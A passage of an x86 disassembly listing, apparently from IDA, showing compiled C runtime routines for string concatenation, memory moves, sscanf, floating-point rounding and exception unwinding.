loc_41C7CA loc_41C7BB: ; CODE XREF: sub_41C7A0+28j mov al, [edi] inc edi test al, al jz short loc_41C7FB test edi, 3 jnz short loc_41C7BB loc_41C7CA: ; CODE XREF: sub_41C7A0+19j ; sub_41C7A0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C7CA mov eax, [edi-4] test al, al jz short loc_41C808 test ah, ah jz short loc_41C803 test eax, 0FF0000h jz short loc_41C7FE test eax, 0FF000000h jnz short loc_41C7CA loc_41C7FB: ; CODE XREF: sub_41C7A0+20j dec edi jmp short loc_41C80B ; --------------------------------------------------------------------------- loc_41C7FE: ; CODE XREF: sub_41C7A0+52j sub edi, 2 jmp short loc_41C80B ; --------------------------------------------------------------------------- loc_41C803: ; CODE XREF: sub_41C7A0+4Bj sub edi, 3 jmp short loc_41C80B ; --------------------------------------------------------------------------- loc_41C808: ; CODE XREF: sub_41C7A0+47j sub edi, 4 loc_41C80B: ; CODE XREF: sub_41C7A0+5Cj ; sub_41C7A0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C820 mov ebx, ecx shr ecx, 2 jnz short loc_41C86C jmp short loc_41C83C ; --------------------------------------------------------------------------- loc_41C820: ; CODE XREF: sub_41C7A0+75j ; sub_41C7A0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C85A mov [edi], dl inc edi dec ecx jz short loc_41C850 test esi, 3 jnz short loc_41C820 mov ebx, ecx shr ecx, 2 jnz short loc_41C86C loc_41C83C: ; CODE XREF: sub_41C7A0+7Ej ; sub_41C7A0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C850 loc_41C843: ; CODE XREF: sub_41C7A0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C852 dec ecx jnz short loc_41C843 loc_41C850: ; CODE XREF: sub_41C7A0+8Bj ; sub_41C7A0+A1j mov [edi], cl loc_41C852: ; CODE XREF: sub_41C7A0+ABj pop ebx pop esi loc_41C854: ; CODE XREF: sub_41C7A0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C85A: ; CODE XREF: sub_41C7A0+85j ; sub_41C7A0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C864: ; CODE XREF: sub_41C7A0+E4j ; sub_41C7A0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C83C loc_41C86C: ; CODE XREF: sub_41C7A0+7Cj ; sub_41C7A0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C864 test dl, dl jz short loc_41C85A test dh, dh jz short loc_41C8B8 test edx, 0FF0000h jz short loc_41C8A8 test edx, 0FF000000h jnz short loc_41C864 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C8A8: ; CODE XREF: sub_41C7A0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C8B8: ; CODE XREF: sub_41C7A0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C7A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8D0 proc far ; CODE XREF: sub_40A57F+62p ; sub_40A57F+6Fp ... arg_FFFFFFFC = dword ptr 8 arg_0 = dword ptr 0Ch arg_4 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edi, [ebp+arg_FFFFFFFC] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C8F0 cmp edi, eax jb loc_41CA68 loc_41C8F0: ; CODE XREF: sub_41C8D0+16j test edi, 3 jnz short loc_41C90C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C92C rep movsd jmp off_41CA18[edx*4] ; --------------------------------------------------------------------------- loc_41C90C: ; CODE XREF: sub_41C8D0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C924 and eax, 3 add ecx, eax jmp dword ptr loc_41C92C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C924: ; CODE XREF: sub_41C8D0+46j jmp dword ptr loc_41CA28[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C92C: ; CODE XREF: sub_41C8D0+31j ; sub_41C8D0+8Ej ... jmp off_41C9AC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C940 dd offset loc_41C96C dd offset loc_41C990 ; --------------------------------------------------------------------------- loc_41C940: ; DATA XREF: sub_41C8D0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C92C rep movsd jmp off_41CA18[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41C96C: ; DATA XREF: sub_41C8D0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C92C rep movsd jmp off_41CA18[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C990: ; DATA XREF: sub_41C8D0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C92C rep movsd jmp off_41CA18[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C9AC dd offset loc_41CA0F ; DATA XREF: sub_41C8D0:loc_41C92Cr dd offset loc_41C9FC dd offset loc_41C9F4 dd offset loc_41C9EC dd offset loc_41C9E4 dd offset loc_41C9DC dd offset loc_41C9D4 dd offset loc_41C9CC ; --------------------------------------------------------------------------- loc_41C9CC: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C9D4: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C9DC: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C9E4: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C9EC: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C9F4: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C9FC: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CA0F: ; CODE XREF: sub_41C8D0:loc_41C92Cj ; DATA XREF: sub_41C8D0:off_41C9ACo jmp off_41CA18[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CA18 dd offset loc_41CA28 ; DATA XREF: sub_41C8D0+35r ; sub_41C8D0+92r ... dd offset loc_41CA30 dd offset loc_41CA3C dd offset loc_41CA50 ; --------------------------------------------------------------------------- loc_41CA28: ; CODE XREF: sub_41C8D0+35j ; sub_41C8D0+92j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CA30: ; CODE XREF: sub_41C8D0+35j ; sub_41C8D0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CA3C: ; CODE XREF: sub_41C8D0+35j ; sub_41C8D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CA50: ; CODE XREF: sub_41C8D0+35j ; sub_41C8D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CA68: ; CODE XREF: sub_41C8D0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CA9C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CA90 std rep movsd cld jmp off_41CBB0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CA90: ; CODE XREF: sub_41C8D0+1B1j ; sub_41C8D0+208j ... neg ecx jmp off_41CB60[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41C8D0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CAB4 and eax, 3 sub ecx, eax jmp dword ptr loc_41CAB4+4[eax*4] ; --------------------------------------------------------------------------- loc_41CAB4: ; CODE XREF: sub_41C8D0+1D6j ; DATA XREF: sub_41C8D0+1DDr jmp off_41CBB0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CAC7+1 dd offset loc_41CAE8 ; --------------------------------------------------------------------------- adc bl, cl inc ecx loc_41CAC7: ; DATA XREF: sub_41C8D0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CA90 std rep movsd cld jmp off_41CBB0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CAE8: ; DATA XREF: sub_41C8D0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CA90 std rep movsd cld jmp off_41CBB0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CA90 std rep movsd cld jmp off_41CBB0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CB64 dd offset loc_41CB6C dd offset loc_41CB74 dd offset loc_41CB7C dd offset loc_41CB84 dd offset loc_41CB8C ; --------------------------------------------------------------------------- xchg eax, esp retf ; --------------------------------------------------------------------------- dw 41h off_41CB60 dd offset loc_41CBA7 ; DATA XREF: sub_41C8D0+1C2r ; --------------------------------------------------------------------------- loc_41CB64: ; DATA XREF: sub_41C8D0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CB6C: ; DATA XREF: sub_41C8D0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CB74: ; DATA XREF: sub_41C8D0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CB7C: ; DATA XREF: sub_41C8D0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CB84: ; DATA XREF: sub_41C8D0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CB8C: ; DATA XREF: sub_41C8D0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CBA7: ; CODE XREF: sub_41C8D0+1C2j ; DATA XREF: sub_41C8D0:off_41CB60o jmp off_41CBB0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CBB0 dd offset loc_41CBC0 ; DATA XREF: sub_41C8D0+1B7r ; sub_41C8D0:loc_41CAB4r ... dd offset loc_41CBC8 dd offset loc_41CBD8 dd offset loc_41CBEC ; --------------------------------------------------------------------------- loc_41CBC0: ; CODE XREF: sub_41C8D0+1B7j ; sub_41C8D0:loc_41CAB4j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CBC8: ; CODE XREF: sub_41C8D0+1B7j ; sub_41C8D0:loc_41CAB4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CBD8: ; CODE XREF: sub_41C8D0+1B7j ; sub_41C8D0:loc_41CAB4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CBEC: ; CODE XREF: sub_41C8D0+1B7j ; sub_41C8D0:loc_41CAB4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn sub_41C8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC10 proc near ; CODE XREF: sub_40B6EA+40p ; .nsp0:0040DD9Cp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_41CC25: ; CODE XREF: sub_41CC10+3Dj cmp [ebp+arg_0], 0 jnz short loc_41CC49 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41CC49 int 3 ; Trap to Debugger loc_41CC49: ; CODE XREF: sub_41CC10+19j ; sub_41CC10+36j xor edx, edx test edx, edx jnz short loc_41CC25 loc_41CC4F: ; CODE XREF: sub_41CC10+67j cmp [ebp+arg_4], 0 jnz short loc_41CC73 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41CC73 int 3 ; Trap to Debugger loc_41CC73: ; CODE XREF: sub_41CC10+43j ; sub_41CC10+60j xor eax, eax test eax, eax jnz short loc_41CC4F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_418D00 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_424CA0 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CC10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CCD0(double) sub_41CCD0 proc near ; CODE XREF: sub_40C926+38p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_4510F0 push eax call sub_427100 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_41CD8B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_426F00 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_41CD62 cmp [ebp+var_10], 2 jle short loc_41CD2E cmp [ebp+var_10], 3 jz short loc_41CD47 jmp short loc_41CD62 ; --------------------------------------------------------------------------- loc_41CD2E: ; CODE XREF: sub_41CCD0+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_427100 add esp, 8 fld [ebp+arg_0] jmp loc_41CE01 ; --------------------------------------------------------------------------- loc_41CD47: ; CODE XREF: sub_41CCD0+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Bh ; int call sub_4261C0 add esp, 10h jmp loc_41CE01 ; --------------------------------------------------------------------------- loc_41CD62: ; CODE XREF: sub_41CCD0+4Ej ; sub_41CCD0+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_437CF8 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Bh ; int push 8 ; int call sub_426290 add esp, 1Ch jmp short loc_41CE01 ; --------------------------------------------------------------------------- loc_41CD8B: ; CODE XREF: sub_41CCD0+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_4261A0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_41CDC1 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_427100 add esp, 8 fld [ebp+var_8] jmp short loc_41CE01 ; --------------------------------------------------------------------------- loc_41CDC1: ; CODE XREF: sub_41CCD0+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_41CDE1 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_427100 add esp, 8 fld [ebp+var_8] jmp short loc_41CE01 ; --------------------------------------------------------------------------- loc_41CDE1: ; CODE XREF: sub_41CCD0+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Bh ; int push 10h ; int call sub_426290 add esp, 1Ch loc_41CE01: ; CODE XREF: sub_41CCD0+72j ; sub_41CCD0+8Dj ... mov esp, ebp pop ebp retn sub_41CCD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE10 proc near ; CODE XREF: sub_41B540+Cp ; DATA XREF: .nsp0:off_4510FCo push ebp mov ebp, esp push ebx push esi push edi call sub_41CE50 call sub_427240 mov dword_4EF8C4, eax call sub_4271C0 fnclex pop edi pop esi pop ebx pop ebp retn sub_41CE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE40 proc near ; DATA XREF: .nsp0:00451100o ; .nsp0:00451104o push ebp mov ebp, esp pop ebp retn sub_41CE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE50 proc near ; CODE XREF: sub_41CE10+6p push ebp mov ebp, esp mov off_451A48, offset sub_427930 mov off_451A4C, offset sub_427340 mov off_451A50, offset sub_427450 mov off_451A54, offset sub_427290 mov off_451A58, offset sub_427420 mov off_451A5C, offset sub_427930 pop ebp retn sub_41CE50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4EF8C0 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4EF8C0, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEBC proc near ; CODE XREF: sub_40C926+1Bp ; sub_40C926+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CEBC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CEF0(double) sub_41CEF0 proc near ; CODE XREF: sub_40C972+79p ; sub_40D46C+3A4p var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_451108 push eax call sub_427100 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_41CFAB mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_426F00 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_41CF82 cmp [ebp+var_10], 2 jle short loc_41CF4E cmp [ebp+var_10], 3 jz short loc_41CF67 jmp short loc_41CF82 ; --------------------------------------------------------------------------- loc_41CF4E: ; CODE XREF: sub_41CEF0+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_427100 add esp, 8 fld [ebp+arg_0] jmp loc_41D021 ; --------------------------------------------------------------------------- loc_41CF67: ; CODE XREF: sub_41CEF0+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Ch ; int call sub_4261C0 add esp, 10h jmp loc_41D021 ; --------------------------------------------------------------------------- loc_41CF82: ; CODE XREF: sub_41CEF0+4Ej ; sub_41CEF0+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_437CF8 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Ch ; int push 8 ; int call sub_426290 add esp, 1Ch jmp short loc_41D021 ; --------------------------------------------------------------------------- loc_41CFAB: ; CODE XREF: sub_41CEF0+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_4261A0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_41CFE1 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_427100 add esp, 8 fld [ebp+var_8] jmp short loc_41D021 ; --------------------------------------------------------------------------- loc_41CFE1: ; CODE XREF: sub_41CEF0+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_41D001 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_427100 add esp, 8 fld [ebp+var_8] jmp short loc_41D021 ; --------------------------------------------------------------------------- loc_41D001: ; CODE XREF: sub_41CEF0+F9j mov ecx, [ebp+var_C] push ecx ; int mov edx, dword ptr [ebp+var_8+4] push edx mov eax, dword ptr [ebp+var_8] push eax ; double mov ecx, dword ptr [ebp+arg_0+4] push ecx ; int mov edx, dword ptr [ebp+arg_0] push edx ; int push 0Ch ; int push 10h ; int call sub_426290 add esp, 1Ch loc_41D021: ; CODE XREF: sub_41CEF0+72j ; sub_41CEF0+8Dj ... mov esp, ebp pop ebp retn sub_41CEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D030 proc near ; CODE XREF: sub_428060+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D030 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D070 proc near ; CODE XREF: sub_428540+50p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D070 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D080 proc near ; CODE XREF: sub_4282C0+247p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D080 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D090 proc near ; CODE XREF: sub_4282C0+21Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0A0 proc near ; CODE XREF: sub_41D2F0+66p ; sub_428060+38p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D0CC push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_435A6C ; RtlUnwind loc_41D0CC: ; DATA XREF: sub_41D0A0+12o mov eax, [ebp+arg_4] mov ecx, [eax+4] and ecx, 0FFFFFFFDh mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_41D0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D100 proc near ; CODE XREF: .nsp0:00435FD4j ; .nsp0:00435FEEj ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_8], eax push 0 push 0 push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4279C0 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41D100 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+8] mov eax, [edx+28h] push eax push 0 mov ecx, [ebp+8] mov edx, [ecx+18h] push edx call sub_427F30 add esp, 10h pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D170 proc near ; CODE XREF: sub_428120+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_41D1E0 mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_C] add edx, 1 mov [ebp+var_4], edx mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_428620 mov [ebp+var_18], eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+var_18] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1E0 proc near ; DATA XREF: sub_41D170+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+10h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx push 0 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_0] push edx call sub_4279C0 add esp, 20h pop edi pop esi pop ebx pop ebp retn sub_41D1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D220 proc near ; CODE XREF: sub_427D50+2Dp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword 